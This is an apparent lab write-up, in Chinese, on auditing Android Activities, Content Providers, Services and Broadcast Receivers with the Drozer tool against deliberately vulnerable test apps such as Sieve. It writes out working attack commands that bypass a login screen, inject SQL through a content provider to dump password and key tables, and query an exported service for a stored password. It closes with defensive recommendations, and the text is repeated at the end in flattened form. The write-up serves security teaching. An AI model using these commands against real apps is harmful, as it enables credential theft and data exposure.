安卓四大组件审计实验(drozer)
字数 2226 2025-08-18 11:37:07

Android四大组件安全审计与Drozer工具使用指南

一、实验概述

本实验使用Drozer工具对Android应用的四大组件(Activity、Service、Content Provider、Broadcast Receiver)进行安全审计,发现潜在的安全漏洞。

二、实验环境准备

基础环境

  • 操作系统:Windows 10
  • 开发工具:Android Studio 3
  • Python版本:2.7 (32位)
  • Drozer版本:2.4.4

测试目标应用

  • Sieve(密码管理应用)
  • Vul_BroadcastReceiver(广播接收器测试应用)
  • AuditActivity(自定义测试应用)

模拟器

  • 海马玩模拟器 0.11.0

三、Drozer环境配置

  1. 安装Drozer agent到测试设备
  2. 配置端口转发:
    adb forward tcp:31415 tcp:31415
    
  3. 启动Drozer控制台:
    drozer console connect
    

四、基础信息收集

1. 获取应用包信息

run app.package.list -f sieve
run app.package.info -a com.mwr.example.sieve

2. 确定攻击面

run app.package.attacksurface com.mwr.example.sieve

输出显示:

  • 3个导出的Activities
  • 2个导出的Content Providers
  • 2个导出的Services

五、Activity组件审计

1. 获取Activity信息

run app.activity.info -a com.mwr.example.sieve

典型输出:

  • FileSelectActivity(文件选择相关)
  • PWList(密码列表相关)
  • MainLoginActivity(主登录界面)

2. Activity绕过测试

尝试直接启动未受保护的Activity:

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

成功绕过登录界面直接访问密码列表,但操作时应用崩溃。

六、Content Provider组件审计

1. 获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

2. 检测SQL注入漏洞

run scanner.provider.injection -a com.mwr.example.sieve

发现两处可注入点。

3. 执行SQL注入攻击

获取数据库表结构:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from sqlite_master where type='table';--"

发现三张表:

  • android_metadata
  • Passwords
  • Key

4. 提取敏感数据

读取Passwords表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords;--"

读取Key表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Key;--"

成功获取用户名、密码、邮箱等敏感信息。

七、Service组件审计

1. 获取Service信息

run app.service.info -a com.mwr.example.sieve

发现两个Service:

  • AuthService
  • CryptoService

2. 测试AuthService

发送消息获取密码:

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj

使用错误PIN码测试:

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1111 --bundle-as-obj

3. 测试CryptoService

执行加密操作:

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY qwe123qwe123 --extra string com.mwr.example.sieve.STRING 1234 --bundle-as-obj

八、Broadcast Receiver组件审计

使用Vul_BroadcastReceiver应用进行测试:

  1. 通过logcat观察广播接收情况
  2. 发送测试广播:
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 666666

九、自定义应用测试

1. 测试应用代码结构

public class MainActivity extends AppCompatActivity {
    // 登录逻辑
    if(uname.equals("admin") && pwd.equals("admin")){
        Intent intent=new Intent();
        intent.setClass(MainActivity.this, MyinfoActivity.class);
        startActivity(intent);
    }
}

public class MyinfoActivity extends AppCompatActivity {
    // 显示用户信息
}

2. 安全测试步骤

  1. 获取应用信息:
run app.package.info -f test0
  1. 检查攻击面:
run app.package.attacksurface com.example.test0.auditactivity
  1. 尝试绕过登录:
run app.activity.start --component com.example.test0.auditactivity com.example.test0.auditactivity.MyinfoActivity

十、安全风险分析与防护建议

1. 主要安全问题

  • 组件导出风险:未受保护的导出组件可被外部应用调用
  • SQL注入漏洞:Content Provider未对输入进行过滤
  • 认证绕过:Activity未进行有效权限检查
  • 敏感数据泄露:Service可能返回敏感信息

2. 防护措施

  1. 最小化组件导出:
    <activity android:name=".MyActivity" android:exported="false"/>
    
  2. Content Provider防护:
    • 使用参数化查询
    • 设置适当的读写权限
  3. Service防护:
    • 实现权限检查
    • 限制敏感操作
  4. Broadcast Receiver防护:
    • 设置权限要求
    • 验证广播来源

十一、Drozer常用命令总结

命令类别 命令示例 功能描述
包信息 run app.package.list -f 关键词 查找应用包名
攻击面 run app.package.attacksurface 包名 分析应用攻击面
Activity run app.activity.info -a 包名 获取Activity信息
Activity run app.activity.start --component 包名 Activity类名 启动Activity
Provider run app.provider.info -a 包名 获取Content Provider信息
Provider run scanner.provider.injection -a 包名 检测SQL注入漏洞
Provider run app.provider.query URI --projection "SQL" 执行SQL查询
Service run app.service.info -a 包名 获取Service信息
Service run app.service.send 包名 Service类名 --msg ... 向Service发送消息
Broadcast run app.broadcast.send --component 包名 Receiver类名 发送广播

十二、实验总结

通过本实验,我们掌握了使用Drozer工具对Android四大组件进行安全审计的方法,发现了多种常见的安全漏洞。开发人员应特别注意:

  1. 严格控制组件的导出属性
  2. 对所有输入进行严格验证
  3. 实现适当的权限控制机制
  4. 避免在组件中存储或传输敏感信息

安全审计应成为Android应用开发流程中的必要环节,特别是在处理用户敏感数据的应用中。

Android四大组件安全审计与Drozer工具使用指南 一、实验概述 本实验使用Drozer工具对Android应用的四大组件(Activity、Service、Content Provider、Broadcast Receiver)进行安全审计,发现潜在的安全漏洞。 二、实验环境准备 基础环境 操作系统:Windows 10 开发工具:Android Studio 3 Python版本:2.7 (32位) Drozer版本:2.4.4 测试目标应用 Sieve(密码管理应用) Vul_ BroadcastReceiver(广播接收器测试应用) AuditActivity(自定义测试应用) 模拟器 海马玩模拟器 0.11.0 三、Drozer环境配置 安装Drozer agent到测试设备 配置端口转发: 启动Drozer控制台: 四、基础信息收集 1. 获取应用包信息 2. 确定攻击面 输出显示: 3个导出的Activities 2个导出的Content Providers 2个导出的Services 五、Activity组件审计 1. 获取Activity信息 典型输出: FileSelectActivity(文件选择相关) PWList(密码列表相关) MainLoginActivity(主登录界面) 2. Activity绕过测试 尝试直接启动未受保护的Activity: 成功绕过登录界面直接访问密码列表,但操作时应用崩溃。 六、Content Provider组件审计 1. 获取Content Provider信息 2. 检测SQL注入漏洞 发现两处可注入点。 3. 执行SQL注入攻击 获取数据库表结构: 发现三张表: android_ metadata Passwords Key 4. 提取敏感数据 读取Passwords表: 读取Key表: 成功获取用户名、密码、邮箱等敏感信息。 七、Service组件审计 1. 获取Service信息 发现两个Service: AuthService CryptoService 2. 测试AuthService 发送消息获取密码: 使用错误PIN码测试: 3. 测试CryptoService 执行加密操作: 八、Broadcast Receiver组件审计 使用Vul_ BroadcastReceiver应用进行测试: 通过logcat观察广播接收情况 发送测试广播: 九、自定义应用测试 1. 测试应用代码结构 2. 安全测试步骤 获取应用信息: 检查攻击面: 尝试绕过登录: 十、安全风险分析与防护建议 1. 主要安全问题 组件导出风险:未受保护的导出组件可被外部应用调用 SQL注入漏洞:Content Provider未对输入进行过滤 认证绕过:Activity未进行有效权限检查 敏感数据泄露:Service可能返回敏感信息 2. 防护措施 最小化组件导出: Content Provider防护: 使用参数化查询 设置适当的读写权限 Service防护: 实现权限检查 限制敏感操作 Broadcast Receiver防护: 设置权限要求 验证广播来源 十一、Drozer常用命令总结 | 命令类别 | 命令示例 | 功能描述 | |---------|---------|---------| | 包信息 | run app.package.list -f 关键词 | 查找应用包名 | | 攻击面 | run app.package.attacksurface 包名 | 分析应用攻击面 | | Activity | run app.activity.info -a 包名 | 获取Activity信息 | | Activity | run app.activity.start --component 包名 Activity类名 | 启动Activity | | Provider | run app.provider.info -a 包名 | 获取Content Provider信息 | | Provider | run scanner.provider.injection -a 包名 | 检测SQL注入漏洞 | | Provider | run app.provider.query URI --projection "SQL" | 执行SQL查询 | | Service | run app.service.info -a 包名 | 获取Service信息 | | Service | run app.service.send 包名 Service类名 --msg ... | 向Service发送消息 | | Broadcast | run app.broadcast.send --component 包名 Receiver类名 | 发送广播 | 十二、实验总结 通过本实验,我们掌握了使用Drozer工具对Android四大组件进行安全审计的方法,发现了多种常见的安全漏洞。开发人员应特别注意: 严格控制组件的导出属性 对所有输入进行严格验证 实现适当的权限控制机制 避免在组件中存储或传输敏感信息 安全审计应成为Android应用开发流程中的必要环节,特别是在处理用户敏感数据的应用中。